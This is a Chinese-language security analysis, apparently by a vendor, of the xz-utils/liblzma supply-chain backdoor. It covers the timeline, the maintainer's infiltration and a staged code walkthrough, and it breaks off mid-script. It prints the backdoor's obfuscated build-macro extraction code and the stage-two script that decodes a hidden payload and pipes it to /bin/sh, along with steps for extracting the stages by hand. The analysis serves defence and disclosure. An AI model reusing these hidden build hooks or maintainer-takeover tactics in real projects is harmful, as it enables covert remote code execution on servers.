0x01 事件概述
近日,微软一名软件工程师Andres Freund公开披露,其观察到
liblzma
库存在一些奇怪的现象,包括在用ssh远程登录异常及内存错误。经过分析,其确认在
liblzma
上游组件
xz-utils
中存在后门代码,后门或可导致攻击者能够在ssh登录认证前,执行攻击者指定的任意代码,可对Linux服务器安全造成严重影响。
综合情况看,这是一起开源软件供应链投毒攻击事件。攻击者伪装成开发者,借更新之名,秘密的向
xz-utils
中加入后门代码,导致
xz-utils
中的
liblzma
易受攻击。
OpenSSH用于SSH登录,广泛部署于基于Linux发行的操作系统中。其默认不依赖
liblzma
,但是部分Linux发行版会对OpenSSH进行二次开发而导致其默认加载LibSystemd,而LibSystemd默认加载
liblzma
。就这样,OpenSSH间接的因
xz-utils
的投毒而变得易受攻击,在认证前可执行攻击者发送的恶意代码。 天融信对该漏洞及相关事件的详细分析情况如下。
0x02 影响
liblzma/xz官方库遭到供应链攻击,并被恶意篡改以植入后门。xz主要功能是提供数据压缩和解压缩功能,集成了liblzma等组件。部分linux操作系统ssh的底层实现中间接引用了
liblzma
,常见的如Red Hat、Debian、Kali Linux、Arch Linux、SUSE、Alpine Linux。
xz-utils 分为 liblzma 和 xz 两部分。xz 是一个单文件压缩软件,采用了压缩率高的 LZMA 算法,在 Linux 中被广泛使用。liblzma 是 LZMA 算法的实现,被应用于 systemd 等多个 Linux 系统和应用软件。
OpenSSH 是一个用于安全远程访问的开源软件套件,它提供了加密的通信会话,以及在网络上安全地传输文件的工具。OpenSSH 实现 SSH 协议进行远程登录的连接工具。恶意代码可能允许攻击者通过后门版本的SSH非授权获取系统的访问权限。
xz == 5.6.0
xz == 5.6.1
liblzma== 5.6.0
liblzma== 5.6.1
当前的情况显示,该漏洞在”投毒”初期便被发现并披露,影响部分系统及服务,尚未大面积扩散。运维及管理人员仍需重视该事件,尽快检查及处置。
0x03 投毒方式
xz-utils
有两名维护者:Lasse Collin (昵称Larhzu)和 JiaT75(昵称Jia Tan),其中 Lasse Collin 自从 2009 年以来一直维护着 XZ-Utils 库,JiaT75则是本次事件的聚焦点之一,其在
2021年注册后的11月16日
向libarchive(与xz无关)进行了第一次pr,添加了一个未打印的详情错误,这个过程中,将原本的safe_fprintf更改为了unsafe fprintf。
从Mail Archive(xz项目的邮件沟通记录)来看,其最早于
2021年10月29日
尝试向xz提交代码。
从
2022年5月19日
开始,ID“Jigar Kumar”和“Dennis Ens”持续对Lasse Collin进行施压,希望选取新的项目开发者来加快更新速度。
在之后的时间里,Jia Tan逐渐获得了项目所有者Lasse Collin的信任,拥有自行提交代码的权力,GitHub上的项目最早提交记录可以追溯到
2022年2月7日
,此时的提交应该还是原作者参与审核的阶段。
从
2022年的12月30日
开始,JiaT75有了独自提交代码的能力。
2023年6月23日
,GitHub用户“hansjans162”向xz提交了ifunc 解析器替换掉 crc32 模块功能,猜测此ID可能为攻击者另一帐号,并且此ID和在其后的催促debian更新的邮件发送者相同。
在
2024年的2月15日
的提交中,JiaT75将包含恶意编译代码的文件“build-to-host.m4”添加到.gitignore 文件中,此时该文件将不会被上传到git
。
直到
2024年2月23日
时,JiaT75开始向xz投递了带有恶意载荷文件bad-3-corrupt_lzma2.xz和good-large_compressed.lzma,其自称,文件中包含了一些测试用的“随机数据”,和一些无法被解压的“损坏数据”。为了更好地隐蔽恶意载荷,其中大多数测试数据都是正常无害的。
2024年2月24日
时,JiaT75发布了5.6.0版本,在这个版本中,其添加了恶意构建文件“build-tohost.m4”,但是该文件并不存在于GitHub源代码仓库中,而是存在于其releases版本中(https://web.archive.org/web/20240226100419/https://github.com/tukaani-project/xz/releases/download/v5.6.0/xz-5.6.0.tar.gz),其后该版本tarball(打包文件)随即被Debian添加到不稳定版。在编译脚本“build-tohost.m4”中,特定条件下会从bad-3-corrupt_lzma2.xz和good-large_compressed.lzma这两个文件中读取内容对.o文件进行修改,致使编译结果和公开的源代码不一致完成供应链攻击。
2024年2月26日
时,JiaT75修改了CMakeLists.txt文件,在其中添加了一个毫不起眼的“.”来绕过了Linux Landlock 检查。因为其编译过程会出错导致得到的结果和预想的不一致。
2024年3月9日
时,JiaT75发布了5.6.1版本,改进了原来的恶意载荷文件,这次则增加了检查脚本判断是否在Linux上运行。
在
2024年3月20日
,jia tan还在尝试向Linux内核提交代码更新功能(暂未发现直接的恶意代码),并且该代码已进入Linux-next,事发后被叫停。
上游新版本发布后,JiaT75则开始了积极策划使其再次进入Linux发行版,如下图的Ubuntu。
如下图的debian,ID“hansjans162”和前面的ifunc提交相同。
此次提交恶意文件的用户从提交日志来看有如下其他用户名。
$ git shortlog --summary --numbered --email | grep [email protected]
273 Jia Tan
2 jiat75
1 Jia Cheong Tan
如果GitHub账户jiat75是这次的事件次精心策划者的话,从其使用的用户名Jia Tan和GitHub 提交时间来看(东八时区),可能有意伪造相关身份来证明其是位于东亚。不过又有新的观点认为其是欧州人/以色列人冒充的中国人,支撑点有如下三个。
1、提交记录的时区信息:
观察到此人有在东二时区(冬季)和东三时区(夏季)的提交记录,这与欧洲/以色列地区实行的夏令时制度相吻合,而不是一直在东八时区(中国时区)。
2、时区之间的快速切换:
在2022年10月6日,此人在不到10小时内,先后在东八时区和东三时区提交代码,这几乎排除了他在这短时间内实际从中国移动到欧洲的可能性。
3、假日提交记录的差异:
此人在中国的重要农历假日(如中秋节、清明节、春节)有提交记录,但在欧洲的主要节日(如圣诞节和新年)却没有提交记录。
目前从整理出的全部信息来看,还无法确定JiaT75究竟是个人还是组织。
0x04 源代码分析
此次攻击的大致流程如下所示:
1、通过源代码m4目录下的build-to-host.m4文件及tests目录下的bad-3-corrupt_lzma2.xz和good-large_compressed.lzma文件,将包含后门代码的liblzma_la-crc64-fast.o目标文件提取出来,然后用其链接生成最终的恶意liblzma.so文件。
2、利用glibc的IFUNC特性,获得在sshd进程加载liblzma.so库时执行后门代码的能力。通过后门代码Hook sshd进程中RSA_public_decrypt()函数的GOT表条目。
3、攻击者通过SSH公钥登录方式,使用特定的RSA私钥连接目标机器进行身份验证。sshd进程会通过RSA_public_decrypt()函数对攻击者发送的RSA私钥进行解密,该RSA私钥中包含攻击者想要执行的payload,由此可知,本次后门可造成远程代码执行。
由于阶段三中执行的good-large_compressed.sh脚本会检查源代码目录下是否存在/debian/rules文件,可以选择debian的xz-utils源码进行编译,或者在上游xz-utils源码创建这样一个文件后,就能成功编译包含后门代码的liblzma.so库。
debian的xz-utils v5.6.0-0.2的链接如下所示。
https://salsa.debian.org/debian/xz-utils/-/tree/debian/5.6.0-0.2?ref_type=tags
阶段一
在构建xz-utils的过程中,通过执行源代码根目录下的configure脚本生成Makefile文件时,会执行build-to-host.m4文件中的宏。此文件中的宏代码用于对./tests/files/bad-3-corrupt_lzma2.xz文件进行修复,解压,然后获得用于阶段二执行的脚本代码(命名为bad-3-corrupt_lzma2.sh)并执行。build-to-host.m4文件中的关键代码如下所示。
gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
❯ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" . 2>/dev/null
./tests/files/bad-3-corrupt_lzma2.xz
gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
❯ echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*\.//g"
xz
gl_path_map='tr "\t \-_" " \t_\-"'
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | eval 'tr "\t \-_" " \t_\-"' | xz -d 2>/dev/null
对bad-3-corrupt_lzma2.xz文件的修复是通过tr "\t \-_" " \t_\-"命令实现的,其过程如下所示:
0x09(\t)
0x20(空格)
0x2d(-)
0x5f(_)
通过对build-to-host.m4文件中的宏代码的分析,可以手动修复bad-3-corrupt_lzma2.xz文件,并获得阶段二执行的bad-3-corrupt_lzma2.sh脚本。
阶段二
阶段二执行的bad-3-corrupt_lzma2.sh脚本的内容如下所示。
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
bad-3-corrupt_lzma2.sh脚本的内容进行了一定程度的混淆,对其进行分解,可获得以下步骤。
xz -dc $srcdir/tests/files/good-large_compressed.lzma
eval $i
tail -c +31265
tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
xz -F raw --lzma1 -dc
/bin/sh
第2步对good-large_compressed.lzma文件解压后的文件进行处理,首先通过“head -c +1024 >/dev/null”命令将该文件的前1024字节数据丢弃,然后通过“head -c +2048”命令将该文件前1024字节之后的2048字节数据输出到标准输出,以此模式,不断循环,直到将所有无用数据剔除,只留下有效的数据,以待第3步继续处理。所以,good-large_compressed.lzma文件解压后的文件中的数据是无用数据与有用数据交叉分布的。
由上可知,bad-3-corrupt_lzma2.sh脚本用于解压good-large_compressed.lzma文件,然后对解压后的文件进行处理,获得另一个压缩包。对其解压后,获得阶段三执行的脚本(命名为good-large_compressed.sh)。
可以对bad-3-corrupt_lzma2.sh文件做一些修改,以独立获得good-large_compressed.sh。
# 将good-large_compressed.lzma于此脚本放于同一目录
xz -dc good-large_compressed.lzma
# 将标准输出重定向到good-large_compressed.sh文件中
xz -F raw --lzma1 -dc 1>good-large_compressed.sh
阶段三
阶段三执行的good-large_compressed.sh脚本会执行两次,第一次用来修改/src/liblzma文件夹下的Makefile,在源代码根目录下,使用阶段二的bad-3-corrupt_lzma2.sh脚本对good-large_compressed.lzma文件进行处理并执行。第一次执行good-large_compressed.sh脚本时,会对/src/liblzma文件夹下的Makefile进行修改,其中包含第二次执行good-large_compressed.sh脚本的命令。第二次用来从good-large_compressed.lzma文件中提取出恶意的liblzma_la-crc64-fast.o目标文件,并对/src/liblzma/check/文件夹下的crc64_fast.c和crc32_fast.c文件的内容做一些修改,然后用恶意的liblzma_la-crc64-fast.o文件替换原始的liblzma_la-crc64_fast.o文件,继续完成接下来的编译链接过程,最终生成恶意的liblzma.so文件。
第一次执行的good-large_compressed.sh脚本中的主要代码如下所示。
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
eval $zrKcVq
# 第一次执行此脚本时,是在源代码根目录下执行的。
if test -f config.status; then
......
eval `grep ^build=\'x86_64 config.status`
eval `grep ^enable_shared=\'yes\' config.status`
eval `grep ^enable_static=\' config.status`
eval `grep ^gl_path_map=\' config.status`
eval $zrKccj
# 查找config.status文件中是否有D["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then